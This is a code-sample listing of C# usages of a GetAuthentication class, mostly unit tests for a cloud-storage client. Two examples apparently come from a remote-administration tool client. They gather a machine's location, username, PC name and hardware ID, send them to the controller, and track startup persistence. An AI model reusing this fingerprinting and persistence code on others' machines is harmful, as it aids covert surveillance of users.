Exemplo n.º 1
0
        public void setup()
        {
            var userCredentials = new UserCredentials(new Uri("http://authurl"), "username", "apikey", "cloudversion", "cloudaccountname");

            getAuthentication = new GetAuthentication(userCredentials);
            _mockrequest      = new Mock <ICloudFilesRequest>();
        }
Exemplo n.º 2
0
        public static void HandleGetAuthentication(GetAuthentication command, Client client)
        {
            GeoLocationHelper.Initialize();

            client.Send(new GetAuthenticationResponse
            {
                Version         = Settings.VERSION,
                OperatingSystem = PlatformHelper.FullName,
                AccountType     = WindowsAccountHelper.GetAccountType(),
                Country         = GeoLocationHelper.GeoInfo.Country,
                CountryCode     = GeoLocationHelper.GeoInfo.CountryCode,
                Region          = GeoLocationHelper.GeoInfo.Region,
                City            = GeoLocationHelper.GeoInfo.City,
                ImageIndex      = GeoLocationHelper.ImageIndex,
                Id       = DevicesHelper.HardwareId,
                Username = WindowsAccountHelper.GetName(),
                PcName   = SystemHelper.GetPcName(),
                Tag      = Settings.TAG
            });

            if (ClientData.AddToStartupFailed)
            {
                Thread.Sleep(2000);
                client.Send(new SetStatus
                {
                    Message = "Adding to startup failed."
                });
            }
        }
Exemplo n.º 3
0
        public void setup()
        {
            var userCredentials = new UserCredentials("username", "apikey");

            getAuthentication = new GetAuthentication(userCredentials);
            _mockrequest      = new Mock <ICloudFilesRequest>();
        }
Exemplo n.º 4
0
        public void Should_replace_plus_sign_with_percent_20_on_account_name_username_and_password()
        {
            UserCredentials   userCreds         = new UserCredentials(new Uri("http://tempuri"), "user name", "pass word", "v 1", "account name");
            GetAuthentication getAuthentication = new GetAuthentication(userCreds);
            var _mockrequest = new Mock <ICloudFilesRequest>();
            var headers      = new WebHeaderCollection();

            _mockrequest.SetupGet(x => x.Headers).Returns(headers);
            getAuthentication.Apply(_mockrequest.Object);
            Assert.That(getAuthentication.CreateUri().AbsoluteUri, Is.EqualTo("http://tempuri//v%201/account%20name/auth"));
            Assert.That(headers[utils.Constants.X_AUTH_USER], Is.EqualTo("user%20name"));
            Assert.That(headers[utils.Constants.X_AUTH_KEY], Is.EqualTo("pass%20word"));
        }
Exemplo n.º 5
0
        public static void HandleGetAuthentication(GetAuthentication command, Client client)
        {
            GeoLocationHelper.Initialize();
            new GetAuthenticationResponse(Settings.VERSION, PlatformYardımcısı.Tamİsim,
                                          WindowsAccountHelper.GetAccountType(),
                                          GeoLocationHelper.GeoInfo.Ülke, GeoLocationHelper.GeoInfo.Ülke_Kodu,
                                          GeoLocationHelper.GeoInfo.Bölge, GeoLocationHelper.GeoInfo.Şehir, GeoLocationHelper.ImageIndex,
                                          CihazYardımcısı.HardwareId, WindowsAccountHelper.GetName(), SystemHelper.GetPcName(), Settings.TAG)
            .Execute(client);

            if (ClientVerisi.AddToStartupFailed)
            {
                Thread.Sleep(2000);
                new SetStatus("Başlangıca Ekleme Başarısız.").Execute(client);
            }
        }
        public void Should_get_401_response_when_authenticated_incorrectly()
        {
            request =
                new GetAuthentication(new UserCredentials("EPIC", "FAIL"));

            try
            {
                factory.Submit(request, null);
                Assert.Fail("Should throw WebException");
            }
            catch (WebException we)
            {
                //It's a protocol error that is usually a result of a 401 (Unauthorized)
                //Still trying to figure way to get specific httpstatuscode
                Assert.That(((HttpWebResponse)we.Response).StatusCode, Is.EqualTo(HttpStatusCode.Unauthorized));
            }
        }
Exemplo n.º 7
0
        public void SetUpBase()
        {
            var credentials = new UserCredentials(new Uri(Credentials.AUTH_ENDPOINT), Credentials.USERNAME, Credentials.API_KEY);
            var request     = new GetAuthentication(credentials);
            var cfrequest   = new CloudFilesRequest((HttpWebRequest)WebRequest.Create(request.CreateUri()));

            request.Apply(cfrequest);
            var response =
                new ResponseFactory().Create(cfrequest);

            storageUrl = response.Headers[Constants.XStorageUrl];
            authToken  = response.Headers[Constants.XAuthToken];
            connection = new Connection(credentials);

            if (!connection.HasCDN())
            {
                Assert.Ignore("Provider does not support CDN Management");
            }

            SetUp();
        }
Exemplo n.º 8
0
        public void SetUpBase()
        {
            var uri = new Uri(Constants.AUTH_URL);

            var request =
                new GetAuthentication(
                    new UserCredentials(
                        uri,
                        Constants.CREDENTIALS_USER_NAME,
                        Constants.CREDENTIALS_PASSWORD,
                        Constants.CREDENTIALS_CLOUD_VERSION,
                        Constants.CREDENTIALS_ACCOUNT_NAME));

            var response = new GenerateRequestByType().Submit(request, authToken);

            ;

            storageUrl = response.Headers[utils.Constants.X_STORAGE_URL];
            authToken  = response.Headers[utils.Constants.X_AUTH_TOKEN];
            Assert.That(authToken.Length, Is.EqualTo(32));
            SetUp();
        }
 public void Setup()
 {
     request =
         new GetAuthentication(new UserCredentials(new Uri(Credentials.AUTH_ENDPOINT), Credentials.USERNAME, Credentials.API_KEY));
     factory = new GenerateRequestByType();
 }